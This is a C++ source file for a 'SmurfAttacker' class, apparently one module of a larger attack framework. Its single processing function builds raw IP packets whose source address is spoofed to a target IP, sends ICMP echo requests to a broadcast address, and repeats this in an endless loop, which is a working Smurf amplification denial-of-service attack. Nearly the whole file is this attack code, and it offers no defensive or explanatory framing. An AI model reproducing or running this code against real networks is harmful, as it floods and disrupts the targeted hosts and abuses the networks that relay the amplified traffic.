#include <smurfAttacker.h>
#include <attackerMessage.h>
#include <attackTargetMessage.h>

#include <iostream>

namespace Model {

  bool SmurfAttacker::ProcessFunction()
  {
    std::string targetIP(static_cast<AttackTargetMessage*>((*models)["AttackTargetMessage"])->GetIP()),
      broadcastIP(static_cast<AttackerMessage*>((*models)["AttackerMessage"])->GetIP());
    int sock,ret(0),on(1);
    char buffer[1024];
    struct icmp * icmp;
    struct ip * ip = (struct ip *)buffer;
    struct sockaddr_in addr;

    //    std::cout<<targetIP<<"\n"<<broadcastIP<<"\n";
    sock = socket(AF_INET,SOCK_RAW,1);
    if(0 > sock){
      perror("make socket");
      exit(1);
    }
    memset(buffer,'\0',1024);
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr(broadcastIP.c_str());
    ret = setsockopt(sock, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on));
    if(-1 == ret){
      perror("setsockopt(s, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on))");
      exit(1);
    }
    ret = setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));
    if(-1 == ret){
      perror("setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on))");
      exit(1);
    }
    ip->ip_hl = 5;
    ip->ip_v = 4;
    ip->ip_tos = 0;
    ip->ip_len = htons(32);
    ip->ip_id = 0;
    ip->ip_off = 0;
    ip->ip_ttl = 56;
    ip->ip_p = 1;
    ip->ip_sum = 0;
    ip->ip_src.s_addr = inet_addr(targetIP.c_str());
    ip->ip_dst.s_addr = inet_addr(broadcastIP.c_str());

    icmp = (struct icmp*)(buffer+20);
    icmp->icmp_type = ICMP_ECHO;
    icmp->icmp_code=0;
    icmp->icmp_cksum =0;
    icmp->icmp_id = 1234;
    icmp->icmp_seq = 8080;
    icmp->icmp_cksum = 
      Checksum((unsigned char*)icmp, 
	       12);

    while(1){
      std::cout<<"SmurfAttack........\n";
      ret = sendto(sock, buffer, 32, 0, (struct sockaddr*)&addr, sizeof(addr));
      if(-1 == ret){
	perror("sendto");
	close(sock);
	exit(1);
      }
      sleep(1);
    }
    return true;
  }

  unsigned short SmurfAttacker::Checksum(unsigned char *data, int len)
  {
    int sum=0;
    int odd = len & 0x01;
    //    unsigned short *value = (unsigned short*)data;
    while( len & 0xfffe){
      sum += *(unsigned short*)data;
      data += 2;
      len -=2;
    }
    if(odd){
      unsigned short tmp = ((*data)<<8)&0xff00;
      sum += tmp;
    }
    sum = (sum >>16) + (sum & 0xffff);
    sum += (sum >>16) ;
    return ~sum;
  }

  SmurfAttacker::SmurfAttacker(std::map<std::string,model *> *models)
    :Attacker(models)
  {
    
  }

}
